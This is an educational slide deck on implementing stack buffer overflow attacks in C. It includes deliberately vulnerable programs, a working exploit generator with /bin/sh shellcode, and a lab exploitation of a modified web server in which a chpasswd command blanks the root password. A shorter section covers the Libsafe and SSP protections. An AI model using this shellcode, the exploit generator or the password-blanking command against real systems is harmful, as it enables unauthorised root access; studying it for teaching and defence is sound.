Implementing Buffer Overflow Attacks

An introduction for C-Programmers

Clifford Wolf - www.clifford.at

Stack Buffer Overflow Basics
- Memory Layout
- Stack Frames

A simple example

Executing your own code

Buffer size and stack address

Quick&Dirty Protection

A realistic example

References

Stack Buffer Overflow Basics

Memory Layout

Stack Buffer Overflow Basics
- Memory Layout
- Stack Frames

A simple example

Executing your own code

Buffer size and stack address

Quick&Dirty Protection

A realistic example

References

- The virtual memory of a process is seperated in three parts:
  - Text (Program code)
  - Data (Global and static variables, heap)
  - Stack.
- The heap and the stack don't have fixed sizes.
- The heap grows from low adresses up to high adresses.
- The stack grows from high adresses down to low adresses.

LINBIT Information Technologies GmbH

Stack Frames

Stack Buffer Overflow Basics
- Memory Layout
- Stack Frames

A simple example

Executing your own code

Buffer size and stack address

Quick&Dirty Protection

A realistic example

References

- When a function is called,
  - the return address
  - the stack frame pointer and
  - the local variables

  are pushed on the stack (in that order).
- So the return adress has a higher address as the buffer.
- When we overflow the buffer, the return adress will be overwritten.
- Somtimes the compiler adds additional padding.

Stack Buffer Overflow Basics

A simple example
- prog1a.c
- prog1b.c
- assembler

Executing your own code

Buffer size and stack address

Quick&Dirty Protection

A realistic example

References

A simple example

prog1a.c

Stack Buffer Overflow Basics
A simple example
- prog1a.c
- prog1b.c
- assembler

Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
#include <stdio.h>
int always_true = 1;

void crackme() {
    char input[512];
    static int c = 0;
    while ( read(0, input + c++, 1) == 1 ) 0;
}

int main() {
    crackme();

    printf("Hello world! (%p)\n", &&hack_the_planet);
    if (always_true) return 0;

hack_the_planet:
    printf("Hack the planet!\n");
}
```

prog1b.c

Stack Buffer Overflow Basics
A simple example
- prog1a.c
- prog1b.c
- assembler

Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
buffer_slides/examples$ echo | ./prog1a
Hello world! (0x804843c)

buffer_slides/examples$ ./prog1b | ./prog1a
Hack the planet!
Segmentation fault

#include <unistd.h>

char buf[512];              // initialized with zeros
int  pointer = 0x804842a; // &&hack_the_planet in ma

int main() {
    write(1, buf, 512);     // buffer
    write(1, buf, 8);       // padding
    write(1, buf, 4);       // stack frame pointer
    write(1, &pointer, 4); // return adress
}
```

assembler

Stack Buffer Overflow Basics
A simple example
- prog1a.c
- prog1b.c
- assembler

Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
buffer_slides/examples$ gdb prog1a
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x08048411 <main+16>:   call   0x80483c4 <crackme>
0x08048416 <main+21>:   movl   $0x804843c,0x4(%esp)
0x0804841e <main+29>:   movl   $0x8048564,(%esp)
0x08048425 <main+36>:   call   0x80482d4 <_init+56>
0x0804842a <main+41>:   cmpl   $0x0,0x8049598
0x08048431 <main+48>:   je     0x804843c <main+59>
0x08048433 <main+50>:   movl   $0x0,0xfffffffc(%ebp)
0x0804843a <main+57>:   jmp    0x8048448 <main+71>
0x0804843c <main+59>:   movl   $0x8048577,(%esp)
0x08048443 <main+66>:   call   0x80482d4 <_init+56>
0x08048448 <main+71>:   mov    0xfffffffc(%ebp),%eax
0x0804844b <main+74>:   leave
0x0804844c <main+75>:   ret
End of assembler dump.
```

Stack Buffer Overflow Basics

A simple example

Executing your own code
- Overview
- Example
- prog2b.c (1/2)
- prog2b.c (1/2)

Buffer size and stack address

Quick&Dirty Protection

A realistic example

References

Executing your own code

Overview

Stack Buffer Overflow Basics
A simple example
Executing your own code
- Overview
- Example
- prog2b.c (1/2)
- prog2b.c (1/2)

Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

- We put our code on the other processes' stack and override the return-pointer to point to our code.
- We prefix our code with NOPs so we don't need to know the exact start address.
- We print the new return-pointer multiple times so we don't need to know the exact position of the return address on the stack.
- Our program code must not contain "termination characters" and can't use absolute pointers.
- We can always work with 32bit (4 byte) blocks.
- A debugger can be used to determine the stack address.

Example

Stack Buffer Overflow Basics
A simple example
Executing your own code
- Overview
- Example
- prog2b.c (1/2)
- prog2b.c (1/2)

Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
void crackme() {
    char input[500];
    gets(input);
}

int main() {
    crackme();
    printf("Hello world!\n");
}
```

```
buffer_slides/examples$ ./prog2b
Usage: ./prog2b nop-count ret-count fill-count \
                stack-start stack-offset command
Exploit lenght: 49 (0x31)

buffer_slides/examples$ ./prog2b 400 100 5000 \
           0xbffff3e8 300 'uname -mnrs' | ./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
```

prog2b.c (1/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
- Overview
- Example
- prog2b.c (1/2)
- prog2b.c (1/2)

Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
#include <unistd.h>
#include <stdio.h>

long int strtol(const char *nptr, char **endptr, int base);

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh\xeb\xeb\xeb";

int main(int argc, char ** argv) {
    unsigned int c, v; /* c = count, v = value */

    if ( argc != 7 ) {
        fprintf(stderr, "Usage: %s nop-count ret-count fill-count "
                "stack-start stack-offset command\n", argv[0]);
        fprintf(stderr, "Exploit lenght: %d (0x%X)\n",
                sizeof(shellcode), sizeof(shellcode));
        return 1;
    }

<< see next slide >>
```

prog2b.c (1/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
- Overview
- Example
- prog2b.c (1/2)
- prog2b.c (1/2)

Buffer size and stack address
Quick&Dirty Protection
A realistic example
References

```
<< see previous slide >>

    /* write NOPs */
    for (v=0x90909090, c=atoi(argv[1])/4; c>0; c--) write(1, &v, 4);

    /* write Shellcode */
    write(1, shellcode, sizeof(shellcode)-1);

    /* write "return" address */
    v = strtoul(argv[4], NULL, 0) - strtoul(argv[5], NULL, 0);
    for (c=atoi(argv[2])/4; c>0; c--) write(1, &v, 4);

    /* write linefeeds to trick caches */
    for (v=0x0a0a0a0a, c=atoi(argv[3])/4; c>0; c--) write(1, &v, 4);

    /* write shell command (end with '\n' */
    c = strlen(argv[6]); argv[6][c] = '\n';
    write(1, argv[6], c+1);

    return 0;
}
```

Stack Buffer Overflow Basics

A simple example

Executing your own code

Buffer size and stack address
- With sources and debug symbols
- Without sources: Buffer size
- Without sources: Stack address

Quick&Dirty Protection

A realistic example

References

Buffer size and stack address

With sources and debug symbols

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
- With sources and debug symb
- Without sources: Buffer size
- Without sources: Stack address

Quick&Dirty Protection
A realistic example
References

We already need to know the name of the function in which the buffer overflow happens:

```
buffer_slides/examples$ gdb prog2a
(gdb) break crackme
Breakpoint 1 at 0x80483cd: file prog2a.c, line 5.
(gdb) run
Breakpoint 1, crackme () at prog2a.c:5
(gdb) printf "Start of Stack Frame: %p\n", $ebp
Start of Stack Frame: 0xbffff7e8
(gdb) printf "Stack Offset: %d\n", $ebp - input
Stack Offset: 520
```

We could pass exact values to the exploit script, but out of paranoia we are using values which will also work with a slightly different start address for the stack frame:

```
buffer_slides/examples$ ./prog2b 400 100 5000 \
            0xbffff3c8 300 'uname -mnrs' | ./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
```

Without sources: Buffer size

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
- With sources and debug symbols
- Without sources: Buffer size
- Without sources: Stack address

Quick&Dirty Protection
A realistic example
References

We need to probe for the right values:

```
$ dd if=/dev/zero bs=1 count=496 | ./prog2a
Hello world!

$ dd if=/dev/zero bs=1 count=500 | ./prog2a
Hello world!
Segmentation fault (core dumped)

$ dd if=/dev/zero bs=1 count=504 | ./prog2a
Segmentation fault (core dumped)
```

Now we know the exact size of the buffer.

Without sources: Stack address

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
- With sources and debug symbols
- Without sources: Buffer size
- Without sources: Stack addres

Quick&Dirty Protection
A realistic example
References

We don't know the start address of the stack frame - so we simply use the start address of the main() stack frame and increment the offset when it doesn't work:

```
$ echo 'main() {}' > dummy.c
$ gcc -ggdb -o dummy dummy.c

$ gdb dummy
(gdb) break main
Breakpoint 1 at 0x8048364: file dummy.c, line 1.
(gdb) run
Breakpoint 1, main () at dummy.c:1
(gdb) info reg ebp
ebp            0xbffff7f8       0xbffff7f8

$ ./prog2b 400 100 5000 \
           0xbffff3e8 300 'uname -mnrs' |./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
```

Stack Buffer Overflow Basics

A simple example

Executing your own code

Buffer size and stack address

Quick&Dirty Protection
- Libsafe preload library (1/2)
- Libsafe preload library (2/2)
- IBM GCC SSP Patch (1/2)
- IBM GCC SSP Patch (2/2)

A realistic example

References

Quick&Dirty Protection

Libsafe preload library (1/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
- Libsafe preload library (1/2)
- Libsafe preload library (2/2)
- IBM GCC SSP Patch (1/2)
- IBM GCC SSP Patch (2/2)

A realistic example
References

http://www.research.avayalabs.com/project/libsafe/

- Libsafe is an LD_PRELOAD library which defines new versions of "dangerous" glibc functions:
  - `strcpy(char *dest, const char *src)`
  - `strpcpy(char *dest, const char *src)`
  - `wcscpy(wchar_t *dest, const wchar_t *src)`
  - `wcpcpy(wchar_t *dest, const wchar_t *src)`
  - `strcat(char *dest, const char *src)`
  - `wcscat(wchar_t *dest, const wchar_t *src)`
  - `getwd(char *buf)`
  - `gets(char *s)`
  - `[vf]scanf(const char *format, ...)`
  - `realpath(char *path, char resolved_path[])`
  - `[v]sprintf(char *str, const char *format, ...)`

Libsafe preload library (2/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
- Libsafe preload library (1/2)
- Libsafe preload library (2/2)
- IBM GCC SSP Patch (1/2)
- IBM GCC SSP Patch (2/2)

A realistic example
References

- These replacement functions are able to analyse the stackframe boundaries and don't write beyond the end of a stack frame.
- The sources of a program are not needed.
- It only works when the buffer overflow is using one of these glibc functions.

```
$ export LD_PRELOAD=/lib/libsafe.so.2

$ ./prog1b | ./prog1a
Hack the planet!
Segmentation fault (core dumped)

$ ./prog2b [...] | ./prog2a
Hello world!
```

IBM GCC SSP Patch (1/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
- Libsafe preload library (1/2)
- Libsafe preload library (2/2)
- IBM GCC SSP Patch (1/2)
- IBM GCC SSP Patch (2/2)

A realistic example
References

`http://www.trl.ibm.com/projects/security/ssp/`

- The IBM GCC Stack-Smashing Protector is a GCC patch.
- Unlike StackGuard it is available for 2.95.x and 3.x.
- Its implementation is much cleaner than StackGuard and provides better protection.
- With a patched GCC, SSP can be enabled using the `-fstack-protector` command line option.

```
$ gcc -fstack-protector prog2a.c -o prog2a_ssp

$ ./prog2b [..] | ./prog2a_ssp
prog2a: stack smashing attack in function crackme
Aborted (core dumped)
```

IBM GCC SSP Patch (2/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
- Libsafe preload library (1/2)
- Libsafe preload library (2/2)
- IBM GCC SSP Patch (1/2)
- IBM GCC SSP Patch (2/2)

A realistic example
References

- The Stack-Smashing Protector places a random 32 bit value between the stackframe pointer and the local function variables.
- This value is checked before the function returns.
- If the variable has changed, a stack smashing attack is detected.
- A safe random number generation given, an attacker can't guess the variable value and so is not able to overwrite the return address without modifying this token.
- If no random numbers are available, the four bytes `0, 0, Newline, 255` are used.

Stack Buffer Overflow Basics

A simple example

Executing your own code

Buffer size and stack address

Quick&Dirty Protection

A realistic example
- micro_httpd_buggy
- Exploiting (1/2)
- Exploiting (2/2)

References

A realistic example

micro_httpd_buggy

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
- micro_httpd_buggy
- Exploiting (1/2)
- Exploiting (2/2)

References

- The original `micro_httpd` is not exploitable this way. I've replaced the `fgets()` call used by `micro_httpd` with a `gets()` call.
- The server is `inetd` based and is running as root.
- Because it is `inetd` based, it is using his input/output filedescriptors for the network communication - ideal for our `prog2b` exploit.

In `/etc/inetd.conf`:

```
http stream tcp nowait root /../micro_httpd_buggy \
                micro_httpd_buggy /var/log
```

Exploiting (1/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
- micro_httpd_buggy
- Exploiting (1/2)
- Exploiting (2/2)

References

- First let's see how big the input buffer is by sending probes:

```
printf '%-*s\n\n' N 'GET / HTTP/1.0' | \
        netcat localhost 80

...

printf '%-*s\n\n' 10114 'GET / HTTP/1.0' | \
        netcat localhost 80
```

- Then let's construct the exploit code:

```
$ ./prog2b 5000 6000 5000 0xbffff3e8 8000 \
        'echo root: | /usr/sbin/chpasswd -e' | \
        netcat localhost 80
$ su -
Password:
```

Exploiting (2/2)

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
- micro_httpd_buggy
- Exploiting (1/2)
- Exploiting (2/2)

References

- Ok, Murphy striked hard. What happened?
- Probably the 10114 bytes "buffer size" is not the size of the buffer, but the end of the stack.
- So the output happens in the same function as the input loop. The program segfaults when we write over the end of the stack.
- That's not so bad. We don't know the buffer size now, but we know pretty exactly where our exploiut code will be on the stack:

```
$ ./prog2b 2000 8000 5000 0xc0000000 9500 \
           'echo root: | /usr/sbin/chpasswd -e' | \
           netcat localhost 80
$ su -
#
```

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References
- Phrack
- URLs

References

Phrack

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References
- Phrack
- URLs

- Phrack 49-14: Smashing The Stack For Fun And Profit
- Phrack 56-5: Bypassing Stackguard and Stackshield
- Phrack 57-15: Writing ia32 alphanumeric shellcodes

URLs

Stack Buffer Overflow Basics
A simple example
Executing your own code
Buffer size and stack address
Quick&Dirty Protection
A realistic example
References
- Phrack
- URLs

- This presentation:
  `http://www.clifford.at/papers/2005/buffer/`
- Clifford Wolf:
  `http://www.linbit.com/`
- LINBIT Information Technologies:
  `http://www.linbit.com/`